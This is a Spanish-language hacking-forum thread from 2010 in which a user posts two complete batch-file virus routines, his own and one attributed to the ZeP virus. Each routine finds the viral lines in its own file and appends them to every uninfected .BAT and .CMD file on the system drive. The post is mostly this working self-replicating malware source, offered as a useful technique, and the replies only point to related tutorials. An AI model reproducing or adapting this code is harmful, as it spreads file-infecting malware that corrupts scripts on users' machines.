elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  Infección de ficheros por lotes. [By Binary_Death]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Infección de ficheros por lotes. [By Binary_Death]  (Leído 3,574 veces)
Binary_Death

Desconectado Desconectado

Mensajes: 214



Ver Perfil
Infección de ficheros por lotes. [By Binary_Death]
« en: 3 Febrero 2010, 20:49 pm »

Esto es algo que solo vi en un malware batch... ZeP, el archiconocido xD.
Primero veamos el objetivo.
Cuando infectamos con un bat otro bat, agregamos el codigo del primero al segundo... evidentemente. El problema surge al ejecutar el fichero infectado, cuando vamos a infectar otro fichero desde un fichero ya infectado copiamos todo el codigo del fichero en otro fichero... y nosotros queremos copiar solo el codigo virico. En resumen, necesitamos saber la posicion de nuestro malware en el fichero para copiar solo este y no todo el fichero en si.
ZeP usa una tecnica que yo considero ingeniosa. Todas las lineas de codigo tienen la palabra ZeP, y luego con un find localiza todas esas lineas, localiza ese codigo y lo añade.
En ensamblador pasa lo mismo, y la tecnica para calcular la posicion del malware se llama Delta Offset... asi que para no ponerle Delta Word en batch dejemoslo en Delta... xDD

Código:
::[H4AR45R849H]_start
@echo off
set "[0]=%~0"
set "find=%SystemDrive%\*.BAT %SystemDrive%\*.CMD"
call:delta&call:infect
exit /b
:infect
set "jmp="
if %delta% NEQ 0 (set "jmp=skip=%delta% ")
for /f "tokens=*" %%f in ('dir /b /s %find%') do (
FIND /i "[H4AR45R849H]"<"%%~f">nul
if errorlevel 1 (call:write "%%~f"))
GoTo:EoF
:write
ECHO.>>"%~1"
for /f "tokens=* %jmp%usebackq" %%w in ("%[0]%") do (
ECHO.%%w>>"%~1"
if /i "%%w"=="::[H4AR45R849H]_end" (GoTo:EoF))
GoTo:EoF
:delta
set "linepos=0"&set "delta=0"
for /f "tokens=* usebackq" %%x in ("%[0]%") do (
if "%%x"=="::[H4AR45R849H]_start" (call set delta=%%linepos%%&GoTo:EoF)
set /a linepos+=1)
GoTo:EoF
::[H4AR45R849H]_end

Esto es lo que estuve codeando estos dias...
Buscamos el numero de linea que señala el principio del codigo virico, asi luego con un for y skip nos posicionamos para inyectar codigo hasta que se detecte el final del codigo virico.

Y aqui dejo el método que usaba el virus ZeP:

Código:
@echo off %DeLtA%
set "find=%SystemDrive%\*.BAT %SystemDrive%\*.CMD" %DeLtA%
set "[0]=%~0" %DeLtA%
:infect %DeLtA%
for /f "tokens=*" %%f in ('dir /b /s %find%') do ( %DeLtA%
find "DeLtA"<%%f>nul %DeLtA%
if errorlevel 1 (call:write "%%~f")) %DeLtA%
GoTo:EoF %DeLtA%
:write %DeLtA%
ECHO.>>"%~1" %DeLtA%
find /i "DeLtA"<%[0]%>>"%~1" %DeLtA%
GoTo:EoF %DeLtA%

Para malwares largos no es conveniente... porque tiene que tener una palabra en cada linea xDDD y eso son bastantes bytes mas.


Y bueno, este es mi primer post en este foro, espero que sea de utilidad :P

Saludos!


En línea

xassiz_

Desconectado Desconectado

Mensajes: 273


Ich werde dich töten..


Ver Perfil WWW
Re: Infección de ficheros por lotes. [By Binary_Death]
« Respuesta #1 en: 3 Febrero 2010, 21:36 pm »

Esto ya es muy conocido, the_Shadow y hizo un manual sobre esto ;D


En línea



YXVuIGVyZXMgbWF0YWRvIHBhcmEgcG9uZXJ0ZSBhIGRlc2NpZnJhciBlc3RvIHhE
Binary_Death

Desconectado Desconectado

Mensajes: 214



Ver Perfil
Re: Infección de ficheros por lotes. [By Binary_Death]
« Respuesta #2 en: 4 Febrero 2010, 13:01 pm »

 :huh: no encontre nunca nada por la red =/
Me puedes pasar el link porfavor?  ;D

Saludos!
En línea

xassiz_

Desconectado Desconectado

Mensajes: 273


Ich werde dich töten..


Ver Perfil WWW
Re: Infección de ficheros por lotes. [By Binary_Death]
« Respuesta #3 en: 4 Febrero 2010, 14:20 pm »

Mira aquí tienes un ejemplo:

http://foro.elhacker.net/scripting/virusbatch_nurex-t200263.0.html

El tutorial solo está posteado aquí:

Creación de Modulos en Batch
En línea



YXVuIGVyZXMgbWF0YWRvIHBhcmEgcG9uZXJ0ZSBhIGRlc2NpZnJhciBlc3RvIHhE
---saster---

Desconectado Desconectado

Mensajes: 55


Ver Perfil
Re: Infección de ficheros por lotes. [By Binary_Death]
« Respuesta #4 en: 4 Febrero 2010, 17:30 pm »

jeje si es batch, Shadow habrá tenido la idea antes de hacerlo xD

saludos
En línea

Binary_Death

Desconectado Desconectado

Mensajes: 214



Ver Perfil
Re: Infección de ficheros por lotes. [By Binary_Death]
« Respuesta #5 en: 4 Febrero 2010, 20:09 pm »

... Ahi esta posteada la creacion de modulos como el del segundo metodo, mas no el del primero xD
El primer codigo no tiene nada que ver con la idea de shadow, ya adverti que el segundo es el metodo que usaba el virus ZeP
Saludos.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ayuda con dos ejercicios de ficheros por lotes
Ejercicios
qtall72 1 5,235 Último mensaje 14 Noviembre 2011, 23:53 pm
por qtall72
ayudar con lotes
Scripting
thexmachine 0 2,023 Último mensaje 8 Junio 2015, 20:17 pm
por thexmachine
[PoC] Infección de ficheros a través del registro de Windows
Análisis y Diseño de Malware
ThunderCls 7 5,719 Último mensaje 21 Febrero 2016, 23:37 pm
por Flamer
Sumar varios lotes de un producto SQL
Bases de Datos
soy_nicanor 0 2,056 Último mensaje 26 Enero 2018, 18:23 pm
por soy_nicanor
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines